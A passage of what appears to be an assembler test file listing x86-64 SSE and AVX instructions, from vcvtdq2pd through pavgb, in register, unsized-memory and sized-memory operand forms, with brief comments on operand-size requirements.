vcvtdq2pd ymm1, xmm2
vcvtdq2pd ymm1, [rax]
vcvtdq2pd ymm1, dqword [rax]
cvtdq2ps xmm1, xmm2
cvtdq2ps xmm1, [rax]
cvtdq2ps xmm1, dqword [rax]
vcvtdq2ps xmm1, xmm2
vcvtdq2ps xmm1, [rax]
vcvtdq2ps xmm1, dqword [rax]
vcvtdq2ps ymm1, ymm2
vcvtdq2ps ymm1, [rax]
vcvtdq2ps ymm1, yword [rax]
; These require memory operand size to be specified (in AVX version)
cvtpd2dq xmm1, xmm2
cvtpd2dq xmm1, [rax]
cvtpd2dq xmm1, dqword [rax]
vcvtpd2dq xmm1, xmm2
vcvtpd2dq xmm1, dqword [rax]
vcvtpd2dq xmm1, ymm2
vcvtpd2dq xmm1, yword [rax]
cvtpd2ps xmm1, xmm2
cvtpd2ps xmm1, [rax]
cvtpd2ps xmm1, dqword [rax]
vcvtpd2ps xmm1, xmm2
vcvtpd2ps xmm1, dqword [rax]
vcvtpd2ps xmm1, ymm2
vcvtpd2ps xmm1, yword [rax]
cvtps2dq xmm1, xmm2
cvtps2dq xmm1, [rax]
cvtps2dq xmm1, dqword [rax]
vcvtps2dq xmm1, xmm2
vcvtps2dq xmm1, [rax]
vcvtps2dq xmm1, dqword [rax]
vcvtps2dq ymm1, ymm2
vcvtps2dq ymm1, [rax]
vcvtps2dq ymm1, yword [rax]
cvtps2pd xmm1, xmm2
cvtps2pd xmm1, [rax]
cvtps2pd xmm1, qword [rax]
vcvtps2pd xmm1, xmm2
vcvtps2pd xmm1, [rax]
vcvtps2pd xmm1, qword [rax]
vcvtps2pd ymm1, xmm2
vcvtps2pd ymm1, [rax]
vcvtps2pd ymm1, dqword [rax]
cvtsd2si eax, xmm2
cvtsd2si eax, [rax]
cvtsd2si eax, qword [rax]
vcvtsd2si eax, xmm2
vcvtsd2si eax, [rax]
vcvtsd2si eax, qword [rax]
cvtsd2si rax, xmm2
cvtsd2si rax, [rax]
cvtsd2si rax, qword [rax]
vcvtsd2si rax, xmm2
vcvtsd2si rax, [rax]
vcvtsd2si rax, qword [rax]
cvtsd2ss xmm1, xmm2
cvtsd2ss xmm1, [rax]
cvtsd2ss xmm1, qword [rax]
vcvtsd2ss xmm1, xmm2
vcvtsd2ss xmm1, [rax]
vcvtsd2ss xmm1, qword [rax]
vcvtsd2ss xmm1, xmm2, xmm3
vcvtsd2ss xmm1, xmm2, [rax]
vcvtsd2ss xmm1, xmm2, qword [rax]
; unsized not valid
cvtsi2sd xmm1, eax
cvtsi2sd xmm1, dword [rax]
vcvtsi2sd xmm1, eax
vcvtsi2sd xmm1, dword [rax]
vcvtsi2sd xmm1, xmm2, eax
vcvtsi2sd xmm1, xmm2, dword [rax]
cvtsi2sd xmm1, rax
cvtsi2sd xmm1, qword [rax]
vcvtsi2sd xmm1, rax
vcvtsi2sd xmm1, qword [rax]
vcvtsi2sd xmm1, xmm2, rax
vcvtsi2sd xmm1, xmm2, qword [rax]
cvtsi2ss xmm1, eax
cvtsi2ss xmm1, dword [rax]
vcvtsi2ss xmm1, eax
vcvtsi2ss xmm1, dword [rax]
vcvtsi2ss xmm1, xmm2, eax
vcvtsi2ss xmm1, xmm2, dword [rax]
cvtsi2ss xmm1, rax
cvtsi2ss xmm1, qword [rax]
vcvtsi2ss xmm1, rax
vcvtsi2ss xmm1, qword [rax]
vcvtsi2ss xmm1, xmm2, rax
vcvtsi2ss xmm1, xmm2, qword [rax]
cvtss2sd xmm1, xmm2
cvtss2sd xmm1, [rax]
cvtss2sd xmm1, dword [rax]
vcvtss2sd xmm1, xmm2
vcvtss2sd xmm1, [rax]
vcvtss2sd xmm1, dword [rax]
vcvtss2sd xmm1, xmm2, xmm3
vcvtss2sd xmm1, xmm2, [rax]
vcvtss2sd xmm1, xmm2, dword [rax]
cvtss2si eax, xmm2
cvtss2si eax, [rax]
cvtss2si eax, dword [rax]
vcvtss2si eax, xmm2
vcvtss2si eax, [rax]
vcvtss2si eax, dword [rax]
cvtss2si rax, xmm2
cvtss2si rax, [rax]
cvtss2si rax, dword [rax]
vcvtss2si rax, xmm2
vcvtss2si rax, [rax]
vcvtss2si rax, dword [rax]
; These require memory operand size to be specified (in AVX version)
cvttpd2dq xmm1, xmm2
cvttpd2dq xmm1, [rax]
cvttpd2dq xmm1, dqword [rax]
vcvttpd2dq xmm1, xmm2
vcvttpd2dq xmm1, dqword [rax]
vcvttpd2dq xmm1, ymm2
vcvttpd2dq xmm1, yword [rax]
cvttps2dq xmm1, xmm2
cvttps2dq xmm1, [rax]
cvttps2dq xmm1, dqword [rax]
vcvttps2dq xmm1, xmm2
vcvttps2dq xmm1, [rax]
vcvttps2dq xmm1, dqword [rax]
vcvttps2dq ymm1, ymm2
vcvttps2dq ymm1, [rax]
vcvttps2dq ymm1, yword [rax]
cvttsd2si eax, xmm2
cvttsd2si eax, [rax]
cvttsd2si eax, qword [rax]
vcvttsd2si eax, xmm2
vcvttsd2si eax, [rax]
vcvttsd2si eax, qword [rax]
cvttsd2si rax, xmm2
cvttsd2si rax, [rax]
cvttsd2si rax, qword [rax]
vcvttsd2si rax, xmm2
vcvttsd2si rax, [rax]
vcvttsd2si rax, qword [rax]
cvttss2si eax, xmm2
cvttss2si eax, [rax]
cvttss2si eax, dword [rax]
vcvttss2si eax, xmm2
vcvttss2si eax, [rax]
vcvttss2si eax, dword [rax]
cvttss2si rax, xmm2
cvttss2si rax, [rax]
cvttss2si rax, dword [rax]
vcvttss2si rax, xmm2
vcvttss2si rax, [rax]
vcvttss2si rax, dword [rax]
divpd xmm1, xmm2
divpd xmm1, [rax]
divpd xmm1, dqword [rax]
vdivpd xmm1, xmm2
vdivpd xmm1, [rax]
vdivpd xmm1, dqword [rax]
vdivpd xmm1, xmm2, xmm3
vdivpd xmm1, xmm2, [rax]
vdivpd xmm1, xmm2, dqword [rax]
vdivpd ymm1, ymm2, ymm3
vdivpd ymm1, ymm2, [rax]
vdivpd ymm1, ymm2, yword [rax]
divps xmm1, xmm2
divps xmm1, [rax]
divps xmm1, dqword [rax]
vdivps xmm1, xmm2
vdivps xmm1, [rax]
vdivps xmm1, dqword [rax]
vdivps xmm1, xmm2, xmm3
vdivps xmm1, xmm2, [rax]
vdivps xmm1, xmm2, dqword [rax]
vdivps ymm1, ymm2, ymm3
vdivps ymm1, ymm2, [rax]
vdivps ymm1, ymm2, yword [rax]
divsd xmm1, xmm2
divsd xmm1, [rax]
divsd xmm1, qword [rax]
vdivsd xmm1, xmm2
vdivsd xmm1, [rax]
vdivsd xmm1, qword [rax]
vdivsd xmm1, xmm2, xmm3
vdivsd xmm1, xmm2, [rax]
vdivsd xmm1, xmm2, qword [rax]
divss xmm1, xmm2
divss xmm1, [rax]
divss xmm1, dword [rax]
vdivss xmm1, xmm2
vdivss xmm1, [rax]
vdivss xmm1, dword [rax]
vdivss xmm1, xmm2, xmm3
vdivss xmm1, xmm2, [rax]
vdivss xmm1, xmm2, dword [rax]
dppd xmm1, xmm2, 5
dppd xmm1, [rax], byte 5
dppd xmm1, dqword [rax], 5
vdppd xmm1, xmm2, 5
vdppd xmm1, [rax], byte 5
vdppd xmm1, dqword [rax], 5
vdppd xmm1, xmm2, xmm3, 5
vdppd xmm1, xmm2, [rax], byte 5
vdppd xmm1, xmm2, dqword [rax], 5
; no ymm version
dpps xmm1, xmm2, 5
dpps xmm1, [rax], byte 5
dpps xmm1, dqword [rax], 5
vdpps xmm1, xmm2, 5
vdpps xmm1, [rax], byte 5
vdpps xmm1, dqword [rax], 5
vdpps xmm1, xmm2, xmm3, 5
vdpps xmm1, xmm2, [rax], byte 5
vdpps xmm1, xmm2, dqword [rax], 5
vdpps ymm1, ymm2, ymm3, 5
vdpps ymm1, ymm2, [rax], byte 5
vdpps ymm1, ymm2, yword [rax], 5
vextractf128 xmm1, ymm2, 5
vextractf128 [rax], ymm2, byte 5
vextractf128 dqword [rax], ymm2, 5
extractps eax, xmm1, 5
extractps rax, xmm1, 5
extractps [rax], xmm1, byte 5
extractps dword [rax], xmm1, 5
vextractps eax, xmm1, 5
vextractps rax, xmm1, 5
vextractps [rax], xmm1, byte 5
vextractps dword [rax], xmm1, 5
haddpd xmm1, xmm2
haddpd xmm1, [rax]
haddpd xmm1, dqword [rax]
vhaddpd xmm1, xmm2
vhaddpd xmm1, [rax]
vhaddpd xmm1, dqword [rax]
vhaddpd xmm1, xmm2, xmm3
vhaddpd xmm1, xmm2, [rax]
vhaddpd xmm1, xmm2, dqword [rax]
vhaddpd ymm1, ymm2, ymm3
vhaddpd ymm1, ymm2, [rax]
vhaddpd ymm1, ymm2, yword [rax]
haddps xmm1, xmm2
haddps xmm1, [rax]
haddps xmm1, dqword [rax]
vhaddps xmm1, xmm2
vhaddps xmm1, [rax]
vhaddps xmm1, dqword [rax]
vhaddps xmm1, xmm2, xmm3
vhaddps xmm1, xmm2, [rax]
vhaddps xmm1, xmm2, dqword [rax]
vhaddps ymm1, ymm2, ymm3
vhaddps ymm1, ymm2, [rax]
vhaddps ymm1, ymm2, yword [rax]
hsubpd xmm1, xmm2
hsubpd xmm1, [rax]
hsubpd xmm1, dqword [rax]
vhsubpd xmm1, xmm2
vhsubpd xmm1, [rax]
vhsubpd xmm1, dqword [rax]
vhsubpd xmm1, xmm2, xmm3
vhsubpd xmm1, xmm2, [rax]
vhsubpd xmm1, xmm2, dqword [rax]
vhsubpd ymm1, ymm2, ymm3
vhsubpd ymm1, ymm2, [rax]
vhsubpd ymm1, ymm2, yword [rax]
hsubps xmm1, xmm2
hsubps xmm1, [rax]
hsubps xmm1, dqword [rax]
vhsubps xmm1, xmm2
vhsubps xmm1, [rax]
vhsubps xmm1, dqword [rax]
vhsubps xmm1, xmm2, xmm3
vhsubps xmm1, xmm2, [rax]
vhsubps xmm1, xmm2, dqword [rax]
vhsubps ymm1, ymm2, ymm3
vhsubps ymm1, ymm2, [rax]
vhsubps ymm1, ymm2, yword [rax]
vinsertf128 ymm1, ymm2, xmm3, 5
vinsertf128 ymm1, ymm2, [rax], byte 5
vinsertf128 ymm1, ymm2, dqword [rax], 5
insertps xmm1, xmm2, 5
insertps xmm1, [rax], byte 5
insertps xmm1, dword [rax], 5
vinsertps xmm1, xmm2, 5
vinsertps xmm1, [rax], byte 5
vinsertps xmm1, dword [rax], 5
vinsertps xmm1, xmm2, xmm3, 5
vinsertps xmm1, xmm2, [rax], byte 5
vinsertps xmm1, xmm2, dword [rax], 5
lddqu xmm1, [rax]
lddqu xmm1, dqword [rax]
vlddqu xmm1, [rax]
vlddqu xmm1, dqword [rax]
vlddqu ymm1, [rax]
vlddqu ymm1, yword [rax]
ldmxcsr [rax]
ldmxcsr dword [rax]
vldmxcsr [rax]
vldmxcsr dword [rax]
maskmovdqu xmm1, xmm2
vmaskmovdqu xmm1, xmm2
vmaskmovps xmm1, xmm2, [rax]
vmaskmovps xmm1, xmm2, dqword [rax]
vmaskmovps ymm1, ymm2, [rax]
vmaskmovps ymm1, ymm2, yword [rax]
vmaskmovps [rax], xmm2, xmm3
vmaskmovps dqword [rax], xmm2, xmm3
vmaskmovps [rax], ymm2, ymm3
vmaskmovps yword [rax], ymm2, ymm3
vmaskmovpd xmm1, xmm2, [rax]
vmaskmovpd xmm1, xmm2, dqword [rax]
vmaskmovpd ymm1, ymm2, [rax]
vmaskmovpd ymm1, ymm2, yword [rax]
vmaskmovpd [rax], xmm2, xmm3
vmaskmovpd dqword [rax], xmm2, xmm3
vmaskmovpd [rax], ymm2, ymm3
vmaskmovpd yword [rax], ymm2, ymm3
maxpd xmm1, xmm2
maxpd xmm1, [rax]
maxpd xmm1, dqword [rax]
vmaxpd xmm1, xmm2
vmaxpd xmm1, [rax]
vmaxpd xmm1, dqword [rax]
vmaxpd xmm1, xmm2, xmm3
vmaxpd xmm1, xmm2, [rax]
vmaxpd xmm1, xmm2, dqword [rax]
vmaxpd ymm1, ymm2, ymm3
vmaxpd ymm1, ymm2, [rax]
vmaxpd ymm1, ymm2, yword [rax]
maxps xmm1, xmm2
maxps xmm1, [rax]
maxps xmm1, dqword [rax]
vmaxps xmm1, xmm2
vmaxps xmm1, [rax]
vmaxps xmm1, dqword [rax]
vmaxps xmm1, xmm2, xmm3
vmaxps xmm1, xmm2, [rax]
vmaxps xmm1, xmm2, dqword [rax]
vmaxps ymm1, ymm2, ymm3
vmaxps ymm1, ymm2, [rax]
vmaxps ymm1, ymm2, yword [rax]
maxsd xmm1, xmm2
maxsd xmm1, [rax]
maxsd xmm1, qword [rax]
vmaxsd xmm1, xmm2
vmaxsd xmm1, [rax]
vmaxsd xmm1, qword [rax]
vmaxsd xmm1, xmm2, xmm3
vmaxsd xmm1, xmm2, [rax]
vmaxsd xmm1, xmm2, qword [rax]
maxss xmm1, xmm2
maxss xmm1, [rax]
maxss xmm1, dword [rax]
vmaxss xmm1, xmm2
vmaxss xmm1, [rax]
vmaxss xmm1, dword [rax]
vmaxss xmm1, xmm2, xmm3
vmaxss xmm1, xmm2, [rax]
vmaxss xmm1, xmm2, dword [rax]
minpd xmm1, xmm2
minpd xmm1, [rax]
minpd xmm1, dqword [rax]
vminpd xmm1, xmm2
vminpd xmm1, [rax]
vminpd xmm1, dqword [rax]
vminpd xmm1, xmm2, xmm3
vminpd xmm1, xmm2, [rax]
vminpd xmm1, xmm2, dqword [rax]
vminpd ymm1, ymm2, ymm3
vminpd ymm1, ymm2, [rax]
vminpd ymm1, ymm2, yword [rax]
minps xmm1, xmm2
minps xmm1, [rax]
minps xmm1, dqword [rax]
vminps xmm1, xmm2
vminps xmm1, [rax]
vminps xmm1, dqword [rax]
vminps xmm1, xmm2, xmm3
vminps xmm1, xmm2, [rax]
vminps xmm1, xmm2, dqword [rax]
vminps ymm1, ymm2, ymm3
vminps ymm1, ymm2, [rax]
vminps ymm1, ymm2, yword [rax]
minsd xmm1, xmm2
minsd xmm1, [rax]
minsd xmm1, qword [rax]
vminsd xmm1, xmm2
vminsd xmm1, [rax]
vminsd xmm1, qword [rax]
vminsd xmm1, xmm2, xmm3
vminsd xmm1, xmm2, [rax]
vminsd xmm1, xmm2, qword [rax]
minss xmm1, xmm2
minss xmm1, [rax]
minss xmm1, dword [rax]
vminss xmm1, xmm2
vminss xmm1, [rax]
vminss xmm1, dword [rax]
vminss xmm1, xmm2, xmm3
vminss xmm1, xmm2, [rax]
vminss xmm1, xmm2, dword [rax]
movapd xmm1, xmm2
movapd xmm1, [rax]
movapd xmm1, dqword [rax]
vmovapd xmm1, xmm2
vmovapd xmm1, [rax]
vmovapd xmm1, dqword [rax]
movapd [rax], xmm2
movapd dqword [rax], xmm2
vmovapd [rax], xmm2
vmovapd dqword [rax], xmm2
vmovapd ymm1, ymm2
vmovapd ymm1, [rax]
vmovapd ymm1, yword [rax]
vmovapd [rax], ymm2
vmovapd yword [rax], ymm2
movaps xmm1, xmm2
movaps xmm1, [rax]
movaps xmm1, dqword [rax]
vmovaps xmm1, xmm2
vmovaps xmm1, [rax]
vmovaps xmm1, dqword [rax]
movaps [rax], xmm2
movaps dqword [rax], xmm2
vmovaps [rax], xmm2
vmovaps dqword [rax], xmm2
vmovaps ymm1, ymm2
vmovaps ymm1, [rax]
vmovaps ymm1, yword [rax]
vmovaps [rax], ymm2
vmovaps yword [rax], ymm2
movd xmm1, eax
movd xmm1, [rax]
movd xmm1, dword [rax]
vmovd xmm1, eax
vmovd xmm1, [rax]
vmovd xmm1, dword [rax]
movd eax, xmm2
movd [rax], xmm2
movd dword [rax], xmm2
vmovd eax, xmm2
vmovd [rax], xmm2
vmovd dword [rax], xmm2
movq xmm1, rax
movq xmm1, [rax]
movq xmm1, qword [rax]
vmovq xmm1, rax
vmovq xmm1, [rax]
vmovq xmm1, qword [rax]
movq rax, xmm2
movq [rax], xmm2
movq qword [rax], xmm2
vmovq rax, xmm2
vmovq [rax], xmm2
vmovq qword [rax], xmm2
movq xmm1, xmm2
movq xmm1, [rax]
movq xmm1, qword [rax]
vmovq xmm1, xmm2
vmovq xmm1, [rax]
vmovq xmm1, qword [rax]
movq [rax], xmm1
movq qword [rax], xmm1
vmovq [rax], xmm1
vmovq qword [rax], xmm1
movddup xmm1, xmm2
movddup xmm1, [rax]
movddup xmm1, qword [rax]
vmovddup xmm1, xmm2
vmovddup xmm1, [rax]
vmovddup xmm1, qword [rax]
vmovddup ymm1, ymm2
vmovddup ymm1, [rax]
vmovddup ymm1, yword [rax]
movdqa xmm1, xmm2
movdqa xmm1, [rax]
movdqa xmm1, dqword [rax]
movdqa [rax], xmm2
movdqa dqword [rax], xmm2
vmovdqa xmm1, xmm2
vmovdqa xmm1, [rax]
vmovdqa xmm1, dqword [rax]
vmovdqa [rax], xmm2
vmovdqa dqword [rax], xmm2
vmovdqa ymm1, ymm2
vmovdqa ymm1, [rax]
vmovdqa ymm1, yword [rax]
vmovdqa [rax], ymm2
vmovdqa yword [rax], ymm2
movdqu xmm1, xmm2
movdqu xmm1, [rax]
movdqu xmm1, dqword [rax]
movdqu [rax], xmm2
movdqu dqword [rax], xmm2
vmovdqu xmm1, xmm2
vmovdqu xmm1, [rax]
vmovdqu xmm1, dqword [rax]
vmovdqu [rax], xmm2
vmovdqu dqword [rax], xmm2
vmovdqu ymm1, ymm2
vmovdqu ymm1, [rax]
vmovdqu ymm1, yword [rax]
vmovdqu [rax], ymm2
vmovdqu yword [rax], ymm2
movhlps xmm1, xmm2
vmovhlps xmm1, xmm2
vmovhlps xmm1, xmm2, xmm3
movhpd xmm1, [rax]
movhpd xmm1, qword [rax]
vmovhpd xmm1, [rax]
vmovhpd xmm1, qword [rax]
vmovhpd xmm1, xmm2, [rax]
vmovhpd xmm1, xmm2, qword [rax]
movhpd [rax], xmm2
movhpd qword [rax], xmm2
vmovhpd [rax], xmm2
vmovhpd qword [rax], xmm2
movhps xmm1, [rax]
movhps xmm1, qword [rax]
vmovhps xmm1, [rax]
vmovhps xmm1, qword [rax]
vmovhps xmm1, xmm2, [rax]
vmovhps xmm1, xmm2, qword [rax]
movhps [rax], xmm2
movhps qword [rax], xmm2
vmovhps [rax], xmm2
vmovhps qword [rax], xmm2
movhlps xmm1, xmm2
vmovhlps xmm1, xmm2
vmovhlps xmm1, xmm2, xmm3
movlpd xmm1, [rax]
movlpd xmm1, qword [rax]
vmovlpd xmm1, [rax]
vmovlpd xmm1, qword [rax]
vmovlpd xmm1, xmm2, [rax]
vmovlpd xmm1, xmm2, qword [rax]
movlpd [rax], xmm2
movlpd qword [rax], xmm2
vmovlpd [rax], xmm2
vmovlpd qword [rax], xmm2
movlps xmm1, [rax]
movlps xmm1, qword [rax]
vmovlps xmm1, [rax]
vmovlps xmm1, qword [rax]
vmovlps xmm1, xmm2, [rax]
vmovlps xmm1, xmm2, qword [rax]
movlps [rax], xmm2
movlps qword [rax], xmm2
vmovlps [rax], xmm2
vmovlps qword [rax], xmm2
movmskpd eax, xmm2
movmskpd rax, xmm2
vmovmskpd eax, xmm2
vmovmskpd rax, xmm2
vmovmskpd eax, ymm2
vmovmskpd rax, ymm2
movmskps eax, xmm2
movmskps rax, xmm2
vmovmskps eax, xmm2
vmovmskps rax, xmm2
vmovmskps eax, ymm2
vmovmskps rax, ymm2
movntdq [rax], xmm1
movntdq dqword [rax], xmm1
vmovntdq [rax], xmm1
vmovntdq dqword [rax], xmm1
movntdqa xmm1, [rax]
movntdqa xmm1, dqword [rax]
vmovntdqa xmm1, [rax]
vmovntdqa xmm1, dqword [rax]
movntpd [rax], xmm1
movntpd dqword [rax], xmm1
vmovntpd [rax], xmm1
vmovntpd dqword [rax], xmm1
movntps [rax], xmm1
movntps dqword [rax], xmm1
vmovntps [rax], xmm1
vmovntps dqword [rax], xmm1
movsd xmm1, xmm2
vmovsd xmm1, xmm2
vmovsd xmm1, xmm2, xmm3
movsd xmm1, [rax]
movsd xmm1, qword [rax]
vmovsd xmm1, [rax]
vmovsd xmm1, qword [rax]
movsd [rax], xmm2
movsd qword [rax], xmm2
vmovsd [rax], xmm2
vmovsd qword [rax], xmm2
movshdup xmm1, xmm2
movshdup xmm1, [rax]
movshdup xmm1, dqword [rax]
vmovshdup xmm1, xmm2
vmovshdup xmm1, [rax]
vmovshdup xmm1, dqword [rax]
vmovshdup ymm1, ymm2
vmovshdup ymm1, [rax]
vmovshdup ymm1, yword [rax]
movsldup xmm1, xmm2
movsldup xmm1, [rax]
movsldup xmm1, dqword [rax]
vmovsldup xmm1, xmm2
vmovsldup xmm1, [rax]
vmovsldup xmm1, dqword [rax]
vmovsldup ymm1, ymm2
vmovsldup ymm1, [rax]
vmovsldup ymm1, yword [rax]
movss xmm1, xmm2
vmovss xmm1, xmm2
vmovss xmm1, xmm2, xmm3
movss xmm1, [rax]
movss xmm1, dword [rax]
vmovss xmm1, [rax]
vmovss xmm1, dword [rax]
movss [rax], xmm2
movss dword [rax], xmm2
vmovss [rax], xmm2
vmovss dword [rax], xmm2
movupd xmm1, xmm2
movupd xmm1, [rax]
movupd xmm1, dqword [rax]
vmovupd xmm1, xmm2
vmovupd xmm1, [rax]
vmovupd xmm1, dqword [rax]
movupd [rax], xmm2
movupd dqword [rax], xmm2
vmovupd [rax], xmm2
vmovupd dqword [rax], xmm2
vmovupd ymm1, ymm2
vmovupd ymm1, [rax]
vmovupd ymm1, yword [rax]
vmovupd [rax], ymm2
vmovupd yword [rax], ymm2
movups xmm1, xmm2
movups xmm1, [rax]
movups xmm1, dqword [rax]
vmovups xmm1, xmm2
vmovups xmm1, [rax]
vmovups xmm1, dqword [rax]
movups [rax], xmm2
movups dqword [rax], xmm2
vmovups [rax], xmm2
vmovups dqword [rax], xmm2
vmovups ymm1, ymm2
vmovups ymm1, [rax]
vmovups ymm1, yword [rax]
vmovups [rax], ymm2
vmovups yword [rax], ymm2
mpsadbw xmm1, xmm2, 5
mpsadbw xmm1, [rax], byte 5
mpsadbw xmm1, dqword [rax], 5
vmpsadbw xmm1, xmm2, 5
vmpsadbw xmm1, [rax], byte 5
vmpsadbw xmm1, dqword [rax], 5
vmpsadbw xmm1, xmm2, xmm3, 5
vmpsadbw xmm1, xmm2, [rax], byte 5
vmpsadbw xmm1, xmm2, dqword [rax], 5
mulpd xmm1, xmm2
mulpd xmm1, [rax]
mulpd xmm1, dqword [rax]
vmulpd xmm1, xmm2
vmulpd xmm1, [rax]
vmulpd xmm1, dqword [rax]
vmulpd xmm1, xmm2, xmm3
vmulpd xmm1, xmm2, [rax]
vmulpd xmm1, xmm2, dqword [rax]
vmulpd ymm1, ymm2, ymm3
vmulpd ymm1, ymm2, [rax]
vmulpd ymm1, ymm2, yword [rax]
mulps xmm1, xmm2
mulps xmm1, [rax]
mulps xmm1, dqword [rax]
vmulps xmm1, xmm2
vmulps xmm1, [rax]
vmulps xmm1, dqword [rax]
vmulps xmm1, xmm2, xmm3
vmulps xmm1, xmm2, [rax]
vmulps xmm1, xmm2, dqword [rax]
vmulps ymm1, ymm2, ymm3
vmulps ymm1, ymm2, [rax]
vmulps ymm1, ymm2, yword [rax]
mulsd xmm1, xmm2
mulsd xmm1, [rax]
mulsd xmm1, qword [rax]
vmulsd xmm1, xmm2
vmulsd xmm1, [rax]
vmulsd xmm1, qword [rax]
vmulsd xmm1, xmm2, xmm3
vmulsd xmm1, xmm2, [rax]
vmulsd xmm1, xmm2, qword [rax]
mulss xmm1, xmm2
mulss xmm1, [rax]
mulss xmm1, dword [rax]
vmulss xmm1, xmm2
vmulss xmm1, [rax]
vmulss xmm1, dword [rax]
vmulss xmm1, xmm2, xmm3
vmulss xmm1, xmm2, [rax]
vmulss xmm1, xmm2, dword [rax]
orpd xmm1, xmm2
orpd xmm1, [rax]
orpd xmm1, dqword [rax]
vorpd xmm1, xmm2
vorpd xmm1, [rax]
vorpd xmm1, dqword [rax]
vorpd xmm1, xmm2, xmm3
vorpd xmm1, xmm2, [rax]
vorpd xmm1, xmm2, dqword [rax]
vorpd ymm1, ymm2, ymm3
vorpd ymm1, ymm2, [rax]
vorpd ymm1, ymm2, yword [rax]
orps xmm1, xmm2
orps xmm1, [rax]
orps xmm1, dqword [rax]
vorps xmm1, xmm2
vorps xmm1, [rax]
vorps xmm1, dqword [rax]
vorps xmm1, xmm2, xmm3
vorps xmm1, xmm2, [rax]
vorps xmm1, xmm2, dqword [rax]
vorps ymm1, ymm2, ymm3
vorps ymm1, ymm2, [rax]
vorps ymm1, ymm2, yword [rax]
pabsb xmm1, xmm2
pabsb xmm1, [rax]
pabsb xmm1, dqword [rax]
vpabsb xmm1, xmm2
vpabsb xmm1, [rax]
vpabsb xmm1, dqword [rax]
pabsw xmm1, xmm2
pabsw xmm1, [rax]
pabsw xmm1, dqword [rax]
vpabsw xmm1, xmm2
vpabsw xmm1, [rax]
vpabsw xmm1, dqword [rax]
pabsd xmm1, xmm2
pabsd xmm1, [rax]
pabsd xmm1, dqword [rax]
vpabsd xmm1, xmm2
vpabsd xmm1, [rax]
vpabsd xmm1, dqword [rax]
packsswb xmm1, xmm2
packsswb xmm1, [rax]
packsswb xmm1, dqword [rax]
vpacksswb xmm1, xmm2
vpacksswb xmm1, [rax]
vpacksswb xmm1, dqword [rax]
vpacksswb xmm1, xmm2, xmm3
vpacksswb xmm1, xmm2, [rax]
vpacksswb xmm1, xmm2, dqword [rax]
packssdw xmm1, xmm2
packssdw xmm1, [rax]
packssdw xmm1, dqword [rax]
vpackssdw xmm1, xmm2
vpackssdw xmm1, [rax]
vpackssdw xmm1, dqword [rax]
vpackssdw xmm1, xmm2, xmm3
vpackssdw xmm1, xmm2, [rax]
vpackssdw xmm1, xmm2, dqword [rax]
packuswb xmm1, xmm2
packuswb xmm1, [rax]
packuswb xmm1, dqword [rax]
vpackuswb xmm1, xmm2
vpackuswb xmm1, [rax]
vpackuswb xmm1, dqword [rax]
vpackuswb xmm1, xmm2, xmm3
vpackuswb xmm1, xmm2, [rax]
vpackuswb xmm1, xmm2, dqword [rax]
packusdw xmm1, xmm2
packusdw xmm1, [rax]
packusdw xmm1, dqword [rax]
vpackusdw xmm1, xmm2
vpackusdw xmm1, [rax]
vpackusdw xmm1, dqword [rax]
vpackusdw xmm1, xmm2, xmm3
vpackusdw xmm1, xmm2, [rax]
vpackusdw xmm1, xmm2, dqword [rax]
paddb xmm1, xmm2
paddb xmm1, [rax]
paddb xmm1, dqword [rax]
vpaddb xmm1, xmm2
vpaddb xmm1, [rax]
vpaddb xmm1, dqword [rax]
vpaddb xmm1, xmm2, xmm3
vpaddb xmm1, xmm2, [rax]
vpaddb xmm1, xmm2, dqword [rax]
paddw xmm1, xmm2
paddw xmm1, [rax]
paddw xmm1, dqword [rax]
vpaddw xmm1, xmm2
vpaddw xmm1, [rax]
vpaddw xmm1, dqword [rax]
vpaddw xmm1, xmm2, xmm3
vpaddw xmm1, xmm2, [rax]
vpaddw xmm1, xmm2, dqword [rax]
paddd xmm1, xmm2
paddd xmm1, [rax]
paddd xmm1, dqword [rax]
vpaddd xmm1, xmm2
vpaddd xmm1, [rax]
vpaddd xmm1, dqword [rax]
vpaddd xmm1, xmm2, xmm3
vpaddd xmm1, xmm2, [rax]
vpaddd xmm1, xmm2, dqword [rax]
paddq xmm1, xmm2
paddq xmm1, [rax]
paddq xmm1, dqword [rax]
vpaddq xmm1, xmm2
vpaddq xmm1, [rax]
vpaddq xmm1, dqword [rax]
vpaddq xmm1, xmm2, xmm3
vpaddq xmm1, xmm2, [rax]
vpaddq xmm1, xmm2, dqword [rax]
paddsb xmm1, xmm2
paddsb xmm1, [rax]
paddsb xmm1, dqword [rax]
vpaddsb xmm1, xmm2
vpaddsb xmm1, [rax]
vpaddsb xmm1, dqword [rax]
vpaddsb xmm1, xmm2, xmm3
vpaddsb xmm1, xmm2, [rax]
vpaddsb xmm1, xmm2, dqword [rax]
paddsw xmm1, xmm2
paddsw xmm1, [rax]
paddsw xmm1, dqword [rax]
vpaddsw xmm1, xmm2
vpaddsw xmm1, [rax]
vpaddsw xmm1, dqword [rax]
vpaddsw xmm1, xmm2, xmm3
vpaddsw xmm1, xmm2, [rax]
vpaddsw xmm1, xmm2, dqword [rax]
paddusb xmm1, xmm2
paddusb xmm1, [rax]
paddusb xmm1, dqword [rax]
vpaddusb xmm1, xmm2
vpaddusb xmm1, [rax]
vpaddusb xmm1, dqword [rax]
vpaddusb xmm1, xmm2, xmm3
vpaddusb xmm1, xmm2, [rax]
vpaddusb xmm1, xmm2, dqword [rax]
paddusw xmm1, xmm2
paddusw xmm1, [rax]
paddusw xmm1, dqword [rax]
vpaddusw xmm1, xmm2
vpaddusw xmm1, [rax]
vpaddusw xmm1, dqword [rax]
vpaddusw xmm1, xmm2, xmm3
vpaddusw xmm1, xmm2, [rax]
vpaddusw xmm1, xmm2, dqword [rax]
palignr xmm1, xmm2, 5
palignr xmm1, [rax], byte 5
palignr xmm1, dqword [rax], 5
vpalignr xmm1, xmm2, 5
vpalignr xmm1, [rax], byte 5
vpalignr xmm1, dqword [rax], 5
vpalignr xmm1, xmm2, xmm3, 5
vpalignr xmm1, xmm2, [rax], byte 5
vpalignr xmm1, xmm2, dqword [rax], 5
pand xmm1, xmm2
pand xmm1, [rax]
pand xmm1, dqword [rax]
vpand xmm1, xmm2
vpand xmm1, [rax]
vpand xmm1, dqword [rax]
vpand xmm1, xmm2, xmm3
vpand xmm1, xmm2, [rax]
vpand xmm1, xmm2, dqword [rax]
pandn xmm1, xmm2
pandn xmm1, [rax]
pandn xmm1, dqword [rax]
vpandn xmm1, xmm2
vpandn xmm1, [rax]
vpandn xmm1, dqword [rax]
vpandn xmm1, xmm2, xmm3
vpandn xmm1, xmm2, [rax]
vpandn xmm1, xmm2, dqword [rax]
pavgb xmm1, xmm2
pavgb xmm1, [rax]
pavgb xmm1, dqword [rax]
